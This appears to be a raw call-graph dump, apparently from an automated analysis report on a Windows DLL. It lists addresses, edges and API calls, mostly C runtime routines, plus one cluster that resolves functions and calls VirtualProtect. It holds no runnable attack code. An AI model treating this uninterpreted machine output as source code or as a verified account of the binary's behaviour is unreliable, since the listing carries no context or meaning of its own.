7627 100067a4 7626->7627 7628 100067b4 7627->7628 7629 1000571e _free 20 API calls 7627->7629 7630 1000571e _free 20 API calls 7628->7630 7629->7627 7631 100067bb 7630->7631 6091 1000281c 6094 10002882 6091->6094 6097 10003550 6094->6097 6096 1000282a 6098 1000358a 6097->6098 6099 1000355d 6097->6099 6098->6096 6099->6098 6099->6099 6100 100047e5 ___std_exception_copy 21 API calls 6099->6100 6101 1000357a 6100->6101 6101->6098 6103 1000544d 6101->6103 6104 1000545a 6103->6104 6105 10005468 6103->6105 6104->6105 6110 1000547f 6104->6110 6106 10006368 _free 20 API calls 6105->6106 6107 10005470 6106->6107 6112 100062ac 6107->6112 6109 1000547a 6109->6098 6110->6109 6111 10006368 _free 20 API calls 6110->6111 6111->6107 6115 10006231 6112->6115 6114 100062b8 6114->6109 6116 10005b7a _free 20 API calls 6115->6116 6117 10006247 6116->6117 6118 100062a6 6117->6118 6121 10006255 6117->6121 6126 100062bc IsProcessorFeaturePresent 6118->6126 6120 100062ab 6122 10006231 _abort 26 API calls 6120->6122 6123 10002ada _ValidateLocalCookies 5 API calls 6121->6123 6124 100062b8 6122->6124 6125 1000627c 6123->6125 6124->6114 6125->6114 6127 100062c7 6126->6127 6130 100060e2 6127->6130 6131 100060fe ___scrt_fastfail 6130->6131 6132 1000612a IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 6131->6132 6135 100061fb ___scrt_fastfail 6132->6135 6133 10002ada _ValidateLocalCookies 5 API calls 6134 10006219 GetCurrentProcess TerminateProcess 6133->6134 6134->6120 6135->6133 7635 100021a1 ___scrt_dllmain_exception_filter 6136 10009c23 6137 10009c56 6136->6137 6138 10009c28 6136->6138 6174 10009728 6137->6174 6140 10009c46 6138->6140 6141 10009c2d 6138->6141 6166 100098f5 6140->6166 6142 10009ccd 6141->6142 6159 10009807 6141->6159 6145 10006368 _free 20 API calls 6142->6145 6150 10009cc0 6142->6150 6146 10009cf2 6145->6146 6148 10006355 __dosmaperr 20 API calls 6146->6148 6147 10009bf2 6147->6142 6147->6150 6151 10009ca9 6147->6151 6148->6150 6149 10002ada _ValidateLocalCookies 5 API calls 6152 10009d15 6149->6152 6150->6149 6153 10009cb0 6151->6153 6154 10009cc4 6151->6154 6155 10006368 _free 20 API calls 6153->6155 6184 10006332 6154->6184 6157 10009cb5 6155->6157 6181 10006355 6157->6181 6161 10009816 6159->6161 6160 100098d8 6163 10002ada _ValidateLocalCookies 5 API calls 6160->6163 6161->6160 6162 10009894 WriteFile 6161->6162 6162->6161 6164 100098da GetLastError 6162->6164 6165 100098f1 6163->6165 6164->6160 6165->6147 6171 10009904 6166->6171 6167 10009a0f 6168 10002ada _ValidateLocalCookies 5 API calls 6167->6168 6169 10009a1e 6168->6169 6169->6147 6170 10009986 WideCharToMultiByte 6172 10009a07 GetLastError 6170->6172 6173 100099bb WriteFile 6170->6173 6171->6167 6171->6170 6171->6173 6172->6167 6173->6171 6173->6172 6179 10009737 6174->6179 6175 100097ea 6176 10002ada _ValidateLocalCookies 5 API calls 6175->6176 6178 10009803 6176->6178 6177 100097a9 WriteFile 6177->6179 6180 100097ec GetLastError 6177->6180 6178->6147 6179->6175 6179->6177 6180->6175 6182 10005b7a _free 20 API calls 6181->6182 6183 1000635a 6182->6183 6183->6150 6185 10006355 __dosmaperr 20 API calls 6184->6185 6186 1000633d _free 6185->6186 6187 10006368 _free 20 API calls 6186->6187 6188 10006350 6187->6188 6188->6150 5810 1000c7a7 5811 1000c7be 5810->5811 5815 1000c82c 5810->5815 5811->5815 5822 1000c7e6 GetModuleHandleA 5811->5822 5813 1000c872 5814 1000c835 GetModuleHandleA 5816 1000c83f 5814->5816 5815->5813 5815->5814 5815->5816 5816->5815 5817 1000c85f GetProcAddress 5816->5817 5817->5815 5818 1000c7dd 5818->5815 5818->5816 5819 1000c800 GetProcAddress 5818->5819 5819->5815 5820 1000c80d VirtualProtect 5819->5820 5820->5815 5821 1000c81c VirtualProtect 5820->5821 5821->5815 5823 1000c7ef 5822->5823 5829 1000c82c 5822->5829 5834 1000c803 GetProcAddress 5823->5834 5825 1000c7f4 5828 1000c800 GetProcAddress 5825->5828 5825->5829 5826 1000c872 5827 1000c835 GetModuleHandleA 5831 1000c83f 5827->5831 5828->5829 5830 1000c80d VirtualProtect 5828->5830 5829->5826 5829->5827 5829->5831 5830->5829 5832 1000c81c VirtualProtect 5830->5832 5831->5829 5833 1000c85f GetProcAddress 5831->5833 5832->5829 5833->5829 5835 1000c82c 5834->5835 5836 1000c80d VirtualProtect 5834->5836 5838 1000c872 5835->5838 5839 1000c835 GetModuleHandleA 5835->5839 5836->5835 5837 1000c81c VirtualProtect 5836->5837 5837->5835 5841 1000c83f 5839->5841 5840 1000c85f GetProcAddress 5840->5841 5841->5835 5841->5840 7636 10009fa7 7637 10006368 _free 20 API calls 7636->7637 7638 10009fac 7637->7638 6189 1000742b 6190 10007430 6189->6190 6192 10007453 6190->6192 6193 10008bae 6190->6193 6194 10008bbb 6193->6194 6198 10008bdd 6193->6198 6195 10008bd7 6194->6195 6196 10008bc9 RtlDeleteCriticalSection 6194->6196 6197 1000571e _free 20 API calls 6195->6197 6196->6195 6196->6196 6197->6198 6198->6190 6983 100060ac 6984 100060b7 6983->6984 6986 100060dd 6983->6986 6985 100060c7 FreeLibrary 6984->6985 6984->6986 6985->6984 6987 1000aeac 6988 1000aeb5 6987->6988 6989 10008cc1 21 API calls 6988->6989 6990 1000aebb 6989->6990 6991 1000aedd 6990->6991 6992 10006332 __dosmaperr 20 API calls 6990->6992 6992->6991 6199 10005630 6200 1000563b 6199->6200 6202 10005664 6200->6202 6203 10005660 6200->6203 6205 10005eb7 6200->6205 6212 10005688 6202->6212 6206 10005c45 _free 5 API calls 6205->6206 6207 10005ede 6206->6207 6208 10005efc InitializeCriticalSectionAndSpinCount 6207->6208 6209 10005ee7 6207->6209 6208->6209 6210 10002ada _ValidateLocalCookies 5 API calls 6209->6210 6211 10005f13 6210->6211 6211->6200 6213 10005695 6212->6213 6215 100056b4 6212->6215 6214 1000569f RtlDeleteCriticalSection 6213->6214 6214->6214 6214->6215 6215->6203 6997 100096b2 7004 10008dbc 6997->7004 6999 100096c2 7000 10005af6 _abort 38 API calls 6999->7000 7001 100096c7 6999->7001 7002 100096ea 7000->7002 7002->7001 7003 10009708 GetConsoleMode 7002->7003 7003->7001 7005 10008dd6 7004->7005 7006 10008dc9 7004->7006 7009 10008de2 7005->7009 7010 10006368 _free 20 API calls 7005->7010 7007 10006368 _free 20 API calls 7006->7007 7008 10008dce 7007->7008 7008->6999 7009->6999 7011 10008e03 7010->7011 7012 100062ac _abort 26 API calls 7011->7012 7012->7008 7013 10003eb3 7014 10005411 38 API calls 7013->7014 7015 10003ebb 7014->7015 7239 10008b34 7240 1000637b _free 20 API calls 7239->7240 7241 10008b46 7240->7241 7243 10005eb7 11 API calls 7241->7243 7245 10008b53 7241->7245 7242 1000571e _free 20 API calls 7244 10008ba5 7242->7244 7243->7241 7245->7242 7246 10009b3c 7247 10006355 __dosmaperr 20 API calls 7246->7247 7248 10009b44 7247->7248 7249 10006368 _free 20 API calls 7248->7249 7250 10009b4b 7249->7250 7251 100062ac _abort 26 API calls 7250->7251 7252 10009b56 7251->7252 7253 10002ada _ValidateLocalCookies 5 API calls 7252->7253 7254 10009d15 7253->7254 6216 1000543d 6217 10005440 6216->6217 6220 100055a8 6217->6220 6231 10007613 6220->6231 6223 100055b8 6225 100055c2 IsProcessorFeaturePresent 6223->6225 6230 100055e0 6223->6230 6226 100055cd 6225->6226 6228 100060e2 _abort 8 API calls 6226->6228 6228->6230 6261 10004bc1 6230->6261 6264 10007581 6231->6264 6234 1000766e 6235 1000767a _abort 6234->6235 6236 10005b7a _free 20 API calls 6235->6236 6239 100076a7 _abort 6235->6239 6242 100076a1 _abort 6235->6242 6236->6242 6237 100076f3 6238 10006368 _free 20 API calls 6237->6238 6240 100076f8 6238->6240 6246 1000771f 6239->6246 6278 10005671 RtlEnterCriticalSection 6239->6278 6243 100062ac _abort 26 API calls 6240->6243 6242->6237 6242->6239 6260 100076d6 6242->6260 6243->6260 6247 1000777e 6246->6247 6250 10007776 6246->6250 6257 100077a9 6246->6257 6279 100056b9 RtlLeaveCriticalSection 6246->6279 6247->6257 6280 10007665 6247->6280 6252 10004bc1 _abort 28 API calls 6250->6252 6252->6247 6256 10007665 _abort 38 API calls 6256->6257 6283 1000782e 6257->6283 6258 1000780c 6259 10005af6 _abort 38 API calls 6258->6259 6258->6260 6259->6260 6307 1000bdc9 6260->6307 6311 1000499b 6261->6311 6267 10007527 6264->6267 6266 100055ad 6266->6223 6266->6234 6268 10007533 ___scrt_is_nonwritable_in_current_image 6267->6268 6273 10005671 RtlEnterCriticalSection 6268->6273 6270 10007541 6274 10007575 6270->6274 6272 10007568 _abort 6272->6266 6273->6270 6277 100056b9 RtlLeaveCriticalSection 6274->6277 6276 1000757f 6276->6272 6277->6276 6278->6246 6279->6250 6281 10005af6 _abort 38 API calls 6280->6281 6282 1000766a 6281->6282 6282->6256 6284 10007834 6283->6284 6285 100077fd 6283->6285 6310 100056b9 RtlLeaveCriticalSection 6284->6310 6285->6258 6285->6260 6287 10005af6 GetLastError 6285->6287 6288 10005b0c 6287->6288 6291 10005b12 6287->6291 6289 10005e08 _free 11 API calls 6288->6289 6289->6291 6290 1000637b _free 20 API calls 6292 10005b24 6290->6292 6291->6290 6293 10005b61 SetLastError 6291->6293 6294 10005b2c 6292->6294 6295 10005e5e _free 11 API calls 6292->6295 6293->6258 6296 1000571e _free 20 API calls 6294->6296 6297 10005b41 6295->6297 6298 10005b32 6296->6298 6297->6294 6299 10005b48 6297->6299 6300 10005b6d SetLastError 6298->6300 6301 1000593c _free 20 API calls 6299->6301 6303 100055a8 _abort 35 API calls 6300->6303 6302 10005b53 6301->6302 6304 1000571e _free 20 API calls 6302->6304 6305 10005b79 6303->6305 6306 10005b5a 6304->6306 6306->6293 6306->6300 6308 10002ada _ValidateLocalCookies 5 API calls 6307->6308 6309 1000bdd4 6308->6309 6309->6309 6310->6285 6312 100049a7 _abort 6311->6312 6313 100049bf 6312->6313 6333 10004af5 GetModuleHandleW 6312->6333 6342 10005671 RtlEnterCriticalSection 6313->6342 6320 10004a3c 6323 10004a54 6320->6323 6346 10004669 6320->6346 6321 10004a82 6353 10004ab4 6321->6353 6322 10004aae 6327 1000bdc9 _abort 5 API calls 6322->6327 6329 10004669 _abort 5 API calls 6323->6329 6324 100049c7 6324->6320 6331 10004a65 6324->6331 6343 1000527a 6324->6343 6330 10004ab3 6327->6330 6329->6331 6350 10004aa5 6331->6350 6334 100049b3 6333->6334 6334->6313 6335 10004b39 GetModuleHandleExW 6334->6335 6336 10004b63 GetProcAddress 6335->6336 6337 10004b78 6335->6337 6336->6337 6338 10004b95 6337->6338 6339 10004b8c FreeLibrary 6337->6339 6340 10002ada _ValidateLocalCookies 5 API calls 6338->6340 6339->6338 6341 10004b9f 6340->6341 6341->6313 6342->6324 6361 10005132 6343->6361 6349 10004698 6346->6349 6347 10002ada _ValidateLocalCookies 5 API calls 6348 100046c1 6347->6348 6348->6323 6349->6347 6383 100056b9 RtlLeaveCriticalSection 6350->6383 6352 10004a7e 6352->6321 6352->6322 6384 10006025 6353->6384 6356 10004ae2 6359 10004b39 _abort 8 API calls 6356->6359 6357 10004ac2 GetPEB 6357->6356 6358 10004ad2 GetCurrentProcess TerminateProcess 6357->6358 6358->6356 6360 10004aea ExitProcess 6359->6360 6364 100050e1 6361->6364 6363 10005156 6363->6320 6365 100050ed ___scrt_is_nonwritable_in_current_image 6364->6365 6372 10005671 RtlEnterCriticalSection 6365->6372 6367 100050fb 6373 1000515a 6367->6373 6371 10005119 _abort 6371->6363 6372->6367 6374 1000517a 6373->6374 6378 10005182 6373->6378 6375 10002ada _ValidateLocalCookies 5 API calls 6374->6375 6376 10005108 6375->6376 6379 10005126 6376->6379 6377 1000571e _free 20 API calls 6377->6374 6378->6374 6378->6377 6382 100056b9 RtlLeaveCriticalSection 6379->6382 6381 10005130 6381->6371 6382->6381 6383->6352 6385 10006040 6384->6385 6386 1000604a 6384->6386 6388 10002ada _ValidateLocalCookies 5 API calls 6385->6388 6387 10005c45 _free 5 API calls 6386->6387 6387->6385 6389 10004abe 6388->6389 6389->6356 6389->6357 7255 10001f3f 7256 10001f4b ___scrt_is_nonwritable_in_current_image 7255->7256 7273 1000247c 7256->7273 7258 10001f52 7259 10002041 7258->7259 7260 10001f7c 7258->7260 7267 10001f57 ___scrt_is_nonwritable_in_current_image 7258->7267 7262 10002639 ___scrt_fastfail 4 API calls 7259->7262 7284 100023de 7260->7284 7263 10002048 7262->7263 7264 10001f8b __RTC_Initialize 7264->7267 7287 100022fc RtlInitializeSListHead 7264->7287 7266 10001f99 ___scrt_initialize_default_local_stdio_options 7288 100046c5 7266->7288 7271 10001fb8 7271->7267 7272 10004669 _abort 5 API calls 7271->7272 7272->7267 7274 10002485 7273->7274 7296 10002933 IsProcessorFeaturePresent 7274->7296 7278 10002496 7283 1000249a 7278->7283 7307 100053c8 7278->7307 7281 100024b1 7281->7258 7282 10003529 ___vcrt_uninitialize 8 API calls 7282->7283 7283->7258 7338 100024b5 7284->7338 7286 100023e5 7286->7264 7287->7266 7290 100046dc 7288->7290 7289 10002ada _ValidateLocalCookies 5 API calls 7291 10001fad 7289->7291 7290->7289 7291->7267 7292 100023b3 7291->7292 7293 100023b8 ___scrt_release_startup_lock 7292->7293 7294 10002933 ___isa_available_init IsProcessorFeaturePresent 7293->7294 7295 100023c1 7293->7295 7294->7295 7295->7271 7297 10002491 7296->7297 7298 100034ea 7297->7298 7299 100034ef ___vcrt_initialize_winapi_thunks 7298->7299 7310 10003936 7299->7310 7303 10003505 7304 10003510 7303->7304 7305 10003972 ___vcrt_uninitialize_locks RtlDeleteCriticalSection 7303->7305 7304->7278 7306 100034fd 7305->7306 7306->7278 7334 10007457 7307->7334 7311 1000393f 7310->7311 7313 10003968 7311->7313 7315 100034f9 7311->7315 7324 10003be0 7311->7324 7314 10003972 ___vcrt_uninitialize_locks RtlDeleteCriticalSection 7313->7314 7314->7315 7315->7306 7316 100038e8 7315->7316 7329 10003af1 7316->7329 7319 10003ba2 ___vcrt_FlsSetValue 6 API calls 7320 1000390b 7319->7320 7321 10003918 7320->7321 7322 1000391b ___vcrt_uninitialize_ptd 6 API calls 7320->7322 7321->7303 7323 100038fd 7322->7323 7323->7303 7325 10003a82 try_get_function 5 API calls 7324->7325 7326 10003bfa 7325->7326 7327 10003c03 7326->7327 7328 10003c18 InitializeCriticalSectionAndSpinCount 7326->7328 7327->7311 7328->7327 7330 10003a82 try_get_function 5 API calls 7329->7330 7331 10003b0b 7330->7331 7332 10003b24 TlsAlloc 7331->7332 7333 100038f2 7331->7333 7333->7319 7333->7323 7337 10007470 7334->7337 7335 10002ada _ValidateLocalCookies 5 API calls 7336 100024a3 7335->7336 7336->7281 7336->7282 7337->7335 7339 100024c4 7338->7339 7340 100024c8 7338->7340 7339->7286 7341 10002639 ___scrt_fastfail 4 API calls 7340->7341 7343 100024d5 ___scrt_release_startup_lock 7340->7343 7342 10002559 7341->7342 7343->7286 6390 10008640 6393 10008657 6390->6393 6394 10008665 6393->6394 6395 10008679 6393->6395 6396 10006368 _free 20 API calls 6394->6396 6397 10008681 6395->6397 6398 10008693 6395->6398 6399 1000866a 6396->6399 6400 10006368 _free 20 API calls 6397->6400 6405 10008652 6398->6405 6406 100054a7 6398->6406 6402 100062ac _abort 26 API calls 6399->6402 6403 10008686 6400->6403 6402->6405 6404 100062ac _abort 26 API calls 6403->6404 6404->6405 6407 100054c4 6406->6407 6408 100054ba 6406->6408 6407->6408 6409 10005af6 _abort 38 API calls 6407->6409 6408->6405 6410 100054e5 6409->6410 6414 10007a00 6410->6414 6415 10007a13 6414->6415 6417 100054fe 6414->6417 6415->6417 6422 10007f0f 6415->6422 6418 10007a2d 6417->6418 6419 10007a40 6418->6419 6420 10007a55 6418->6420 6419->6420 6557 10006d7e 6419->6557 6420->6408 6423 10007f1b ___scrt_is_nonwritable_in_current_image 6422->6423 6424 10005af6 _abort 38 API calls 6423->6424 6425 10007f24 6424->6425 6426 10007f72 _abort 6425->6426 6434 10005671 RtlEnterCriticalSection 6425->6434 6426->6417 6428 10007f42 6435 10007f86 6428->6435 6433 100055a8 _abort 38 API calls 6433->6426 6434->6428 6436 10007f94 _free 6435->6436 6438 10007f56 6435->6438 6436->6438 6442 10007cc2 6436->6442 6439 10007f75 6438->6439 6556 100056b9 RtlLeaveCriticalSection 6439->6556 6441 10007f69 6441->6426 6441->6433 6443 10007d42 6442->6443 6445 10007cd8 6442->6445 6446 1000571e _free 20 API calls 6443->6446 6468 10007d90 6443->6468 6445->6443 6450 10007d0b 6445->6450 6452 1000571e _free 20 API calls 6445->6452 6447 10007d64 6446->6447 6448 1000571e _free 20 API calls 6447->6448 6449 10007d77 6448->6449 6454 1000571e _free 20 API calls 6449->6454 6455 1000571e _free 20 API calls 6450->6455 6469 10007d2d 6450->6469 6451 1000571e _free 20 API calls 6456 10007d37 6451->6456 6458 10007d00 6452->6458 6453 10007d9e 6457 10007dfe 6453->6457 6467 1000571e 20 API calls _free 6453->6467 6459 10007d85 6454->6459 6460 10007d22 6455->6460 6461 1000571e _free 20 API calls 6456->6461 6462 1000571e _free 20 API calls 6457->6462 6470 100090ba 6458->6470 6464 1000571e _free 20 API calls 6459->6464 6498 100091b8 6460->6498 6461->6443 6466 10007e04 6462->6466 6464->6468 6466->6438 6467->6453 6510 10007e35 6468->6510 6469->6451 6471 100090cb 6470->6471 6497 100091b4 6470->6497 6472 100090dc 6471->6472 6473 1000571e _free 20 API calls 6471->6473 6474 100090ee 6472->6474 6475 1000571e _free 20 API calls 6472->6475 6473->6472 6476 10009100 6474->6476 6477 1000571e _free 20 API calls 6474->6477 6475->6474 6478 10009112 6476->6478 6479 1000571e _free 20 API calls 6476->6479 6477->6476 6480 1000571e _free 20 API calls 6478->6480 6482 10009124 6478->6482 6479->6478 6480->6482 6481 1000571e _free 20 API calls 6483 10009136 6481->6483 6482->6481 6482->6483 6484 1000571e _free 20 API calls 6483->6484 6485 10009148 6483->6485 6484->6485 6486 1000915a 6485->6486 6487 1000571e _free 20 API calls 6485->6487 6488 1000916c 6486->6488 6489 1000571e _free 20 API calls 6486->6489 6487->6486 6490 1000917e 6488->6490 6491 1000571e _free 20 API calls 6488->6491 6489->6488 6492 10009190 6490->6492 6493 1000571e _free 20 API calls 6490->6493 6491->6490 6494 100091a2 6492->6494 6495 1000571e _free 20 API calls 6492->6495 6493->6492 6496 1000571e _free 20 API calls 6494->6496 6494->6497 6495->6494 6496->6497 6497->6450 6500 100091c5 6498->6500 6509 1000921d 6498->6509 6499 100091d5 6501 100091e7 6499->6501 6503 1000571e _free 20 API calls 6499->6503 6500->6499 6502 1000571e _free 20 API calls 6500->6502 6504 100091f9 6501->6504 6505 1000571e _free 20 API calls 6501->6505 6502->6499 6503->6501 6506 1000920b 6504->6506 6507 1000571e _free 20 API calls 6504->6507 6505->6504 6508 1000571e _free 20 API calls 6506->6508 6506->6509 6507->6506 6508->6509 6509->6469 6511 10007e42 6510->6511 6515 10007e60 6510->6515 6511->6515 6516 1000925d 6511->6516 6514 1000571e _free 20 API calls 6514->6515 6515->6453 6517 10007e5a 6516->6517 6518 1000926e 6516->6518 6517->6514 6552 10009221 6518->6552 6521 10009221 _free 20 API calls 6522 10009281 6521->6522 6523 10009221 _free 20 API calls 6522->6523 6524 1000928c 6523->6524 6525 10009221 _free 20 API calls 6524->6525 6526 10009297 6525->6526 6527 10009221 _free 20 API calls 6526->6527 6528 100092a5 6527->6528 6529 1000571e _free 20 API calls 6528->6529 6530 100092b0 6529->6530 6531 1000571e _free 20 API calls 6530->6531 6532 100092bb 6531->6532 6533 1000571e _free 20 API calls 6532->6533 6534 100092c6 6533->6534 6535 10009221 _free 20 API calls 6534->6535 6536 100092d4 6535->6536 6537 10009221 _free 20 API calls 6536->6537 6538 100092e2 6537->6538 6539 10009221 _free 20 API calls 6538->6539 6540 100092f3 6539->6540 6541 10009221 _free 20 API calls 6540->6541 6542 10009301 6541->6542 6543 10009221 _free 20 API calls 6542->6543 6544 1000930f 6543->6544 6545 1000571e _free 20 API calls 6544->6545 6546 1000931a 6545->6546 6547 1000571e _free 20 API calls 6546->6547 6548 10009325 6547->6548 6549 1000571e _free 20 API calls 6548->6549 6550 10009330 6549->6550 6551 1000571e _free 20 API calls 6550->6551 6551->6517 6553 10009258 6552->6553 6554 10009248 6552->6554 6553->6521 6554->6553 6555 1000571e _free 20 API calls 6554->6555 6555->6554 6556->6441 6558 10006d8a ___scrt_is_nonwritable_in_current_image 6557->6558 6559 10005af6 _abort 38 API calls 6558->6559 6564 10006d94 6559->6564 6561 10006e18 _abort 6561->6420 6563 100055a8 _abort 38 API calls 6563->6564 6564->6561 6564->6563 6565 1000571e _free 20 API calls 6564->6565 6566 10005671 RtlEnterCriticalSection 6564->6566 6567 10006e0f 6564->6567 6565->6564 6566->6564 6570 100056b9 RtlLeaveCriticalSection 6567->6570 6569 10006e16 6569->6564 6570->6569 7344 1000af43 7345 1000af59 7344->7345 7346 1000af4d 7344->7346 7346->7345 7347 1000af52 CloseHandle 7346->7347 7347->7345 7348 1000a945 7350 1000a96d 7348->7350 7349 1000a9a5 7350->7349 7351 1000a997 7350->7351 7352 1000a99e 7350->7352 7357 1000aa17 7351->7357 7361 1000aa00 7352->7361 7358 1000aa20 7357->7358 7365 1000b19b 7358->7365 7362 1000aa20 7361->7362 7363 1000b19b __startOneArgErrorHandling 21 API calls 7362->7363 7364 1000a9a3 7363->7364 7367 1000b1da __startOneArgErrorHandling 7365->7367 7371 1000b25c __startOneArgErrorHandling 7367->7371 7375 1000b59e 7367->7375 7368 1000b286 7369 1000b8b2 __startOneArgErrorHandling 20 API calls 7368->7369 7370 1000b292 7368->7370 7369->7370 7372 10002ada _ValidateLocalCookies 5 API calls 7370->7372 7371->7368 7373 100078a3 __startOneArgErrorHandling 5 API calls 7371->7373 7374 1000a99c 7372->7374 7373->7368 7376 1000b5c1 __raise_exc RaiseException 7375->7376 7377 1000b5bc 7376->7377 7377->7371 7639 1000a1c6 IsProcessorFeaturePresent 7640 10007bc7 7641 10007bd3 ___scrt_is_nonwritable_in_current_image 7640->7641 7643 10007c0a _abort 7641->7643 7648 10005671 RtlEnterCriticalSection 7641->7648 7644 10007be7 7645 10007f86 20 API calls 7644->7645 7646 10007bf7 7645->7646 7649 10007c10 7646->7649 7648->7644 7652 100056b9 RtlLeaveCriticalSection 7649->7652 7651 10007c17 7651->7643 7652->7651 7378 10005348 7379 10003529 ___vcrt_uninitialize 8 API calls 7378->7379 7380 1000534f 7379->7380 7381 10007b48 7391 10008ebf 7381->7391 7385 10007b55 7404 1000907c 7385->7404 7388 10007b7f 7389 1000571e _free 20 API calls 7388->7389 7390 10007b8a 7389->7390 7408 10008ec8 7391->7408 7393 10007b50 7394 10008fdc 7393->7394 7395 10008fe8 ___scrt_is_nonwritable_in_current_image 7394->7395 7428 10005671 RtlEnterCriticalSection 7395->7428 7397 1000905e 7442 10009073 7397->7442 7399 1000906a _abort 7399->7385 7400 10009032 RtlDeleteCriticalSection 7401 1000571e _free 20 API calls 7400->7401 7403 10008ff3 7401->7403 7403->7397 7403->7400 7429 1000a09c 7403->7429 7405 10009092 7404->7405 7406 10007b64 RtlDeleteCriticalSection 7404->7406 7405->7406 7407 1000571e _free 20 API calls 7405->7407 7406->7385 7406->7388 7407->7406 7409 10008ed4 ___scrt_is_nonwritable_in_current_image 7408->7409 7418 10005671 RtlEnterCriticalSection 7409->7418 7411 10008f77 7423 10008f97 7411->7423 7414 10008f83 _abort 7414->7393 7416 10008e78 30 API calls 7417 10008ee3 7416->7417 7417->7411 7417->7416 7419 10007b94 RtlEnterCriticalSection 7417->7419 7420 10008f6d 7417->7420 7418->7417 7419->7417 7426 10007ba8 RtlLeaveCriticalSection 7420->7426 7422 10008f75 7422->7417 7427 100056b9 RtlLeaveCriticalSection 7423->7427 7425 10008f9e 7425->7414 7426->7422 7427->7425 7428->7403 7430 1000a0a8 ___scrt_is_nonwritable_in_current_image 7429->7430 7431 1000a0b9 7430->7431 7432 1000a0ce 7430->7432 7433 10006368 _free 20 API calls 7431->7433 7441 1000a0c9 _abort 7432->7441 7445 10007b94 RtlEnterCriticalSection 7432->7445 7435 1000a0be 7433->7435 7437 100062ac _abort 26 API calls 7435->7437 7436 1000a0ea 7446 1000a026 7436->7446 7437->7441 7439 1000a0f5 7462 1000a112 7439->7462 7441->7403 7537 100056b9 RtlLeaveCriticalSection 7442->7537 7444 1000907a 7444->7399 7445->7436 7447 1000a033 7446->7447 7448 1000a048 7446->7448 7449 10006368 _free 20 API calls 7447->7449 7454 1000a043 7448->7454 7465 10008e12 7448->7465 7450 1000a038 7449->7450 7452 100062ac _abort 26 API calls 7450->7452 7452->7454 7454->7439 7455 1000907c 20 API calls 7456 1000a064 7455->7456 7471 10007a5a 7456->7471 7458 1000a06a 7478 1000adce 7458->7478 7461 1000571e _free 20 API calls 7461->7454 7536 10007ba8 RtlLeaveCriticalSection 7462->7536 7464 1000a11a 7464->7441 7466 10008e2a 7465->7466 7470 10008e26 7465->7470 7467 10007a5a 26 API calls 7466->7467 7466->7470 7468 10008e4a 7467->7468 7493 10009a22 7468->7493 7470->7455 7472 10007a66 7471->7472 7473 10007a7b 7471->7473 7474 10006368 _free 20 API calls 7472->7474 7473->7458 7475 10007a6b 7474->7475 7476 100062ac _abort 26 API calls 7475->7476 7477 10007a76 7476->7477 7477->7458 7479 1000adf2 7478->7479 7480 1000addd 7478->7480 7482 1000ae2d 7479->7482 7487 1000ae19 7479->7487 7481 10006355 __dosmaperr 20 API calls 7480->7481 7484 1000ade2 7481->7484 7483 10006355 __dosmaperr 20 API calls 7482->7483 7485 1000ae32 7483->7485 7486 10006368 _free 20 API calls 7484->7486 7488 10006368 _free 20 API calls 7485->7488 7491 1000a070 7486->7491 7520 1000ada6 7487->7520 7490 1000ae3a 7488->7490 7492 100062ac _abort 26 API calls 7490->7492 7491->7454 7491->7461 7492->7491 7494 10009a2e ___scrt_is_nonwritable_in_current_image 7493->7494 7495 10009a36 7494->7495 7496 10009a4e 7494->7496 7497 10006355 __dosmaperr 20 API calls 7495->7497 7498 10009aec 7496->7498 7502 10009a83 7496->7502 7499 10009a3b 7497->7499 7500 10006355 __dosmaperr 20 API calls 7498->7500 7501 10006368 _free 20 API calls 7499->7501 7503 10009af1 7500->7503 7509 10009a43 _abort 7501->7509 7515 10008c7b RtlEnterCriticalSection 7502->7515 7505 10006368 _free 20 API calls 7503->7505 7507 10009af9 7505->7507 7506 10009a89 7510 10006368 _free 20 API calls 7506->7510 7513 10009ab5 7506->7513 7508 100062ac _abort 26 API calls 7507->7508 7508->7509 7509->7470 7511 10009aaa 7510->7511 7512 10006355 __dosmaperr 20 API calls 7511->7512 7512->7513 7516 10009ae4 7513->7516 7515->7506 7519 10008c9e RtlLeaveCriticalSection 7516->7519 7518 10009aea 7518->7509 7519->7518 7523 1000ad24 7520->7523 7522 1000adca 7522->7491 7524 1000ad30 ___scrt_is_nonwritable_in_current_image 7523->7524 7531 10008c7b RtlEnterCriticalSection 7524->7531 7526 1000ad3e 7527 10006368 _free 20 API calls 7526->7527 7528 1000ad65 7526->7528 7527->7528 7532 1000ad9a 7528->7532 7530 1000ad8d _abort 7530->7522 7531->7526 7535 10008c9e RtlLeaveCriticalSection 7532->7535 7534 1000ada4 7534->7530 7535->7534 7536->7464 7537->7444 6571 10002049 6572 10002055 ___scrt_is_nonwritable_in_current_image 6571->6572 6573 1000205e 6572->6573 6574 100020d3 6572->6574 6575 1000207d 6572->6575 6606 10002639 IsProcessorFeaturePresent 6574->6606 6585 1000244c 6575->6585 6578 10002082 6594 10002308 6578->6594 6579 100020da 6581 10002087 __RTC_Initialize 6597 100020c4 6581->6597 6583 1000209f 6600 1000260b 6583->6600 6586 10002451 ___scrt_release_startup_lock 6585->6586 6587 10002455 6586->6587 6590 10002461 6586->6590 6588 1000527a _abort 20 API calls 6587->6588 6589 1000245f 6588->6589 6589->6578 6591 1000246e 6590->6591 6592 1000499b _abort 28 API calls 6590->6592 6591->6578 6593 10004bbd 6592->6593 6593->6578 6610 100034c7 RtlInterlockedFlushSList 6594->6610 6596 10002312 6596->6581 6612 1000246f 6597->6612 6599 100020c9 ___scrt_release_startup_lock 6599->6583 6601 10002617 6600->6601 6602 1000262d 6601->6602 6653 100053ed 6601->6653 6602->6573 6607 1000264e ___scrt_fastfail 6606->6607 6608 100026f9 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 6607->6608 6609 10002744 ___scrt_fastfail 6608->6609 6609->6579 6611 100034d7 6610->6611 6611->6596 6617 100053ff 6612->6617 6624 10005c2b 6617->6624 6620 1000391b 6621 10003925 6620->6621 6623 1000354d 6620->6623 6635 10003b2c 6621->6635 6623->6599 6625 10002476 6624->6625 6626 10005c35 6624->6626 6625->6620 6628 10005db2 6626->6628 6629 10005c45 _free 5 API calls 6628->6629 6630 10005dd9 6629->6630 6631 10005df1 TlsFree 6630->6631 6632 10005de5 6630->6632 6631->6632 6633 10002ada _ValidateLocalCookies 5 API calls 6632->6633 6634 10005e02 6633->6634 6634->6625 6640 10003a82 6635->6640 6637 10003b46 6638 10003b5e TlsFree 6637->6638 6639 10003b52 6637->6639 6638->6639 6639->6623 6641 10003aaa 6640->6641 6645 10003aa6 __crt_fast_encode_pointer 6640->6645 6641->6645 6646 100039be 6641->6646 6644 10003ac4 GetProcAddress 6644->6645 6645->6637 6651 100039cd 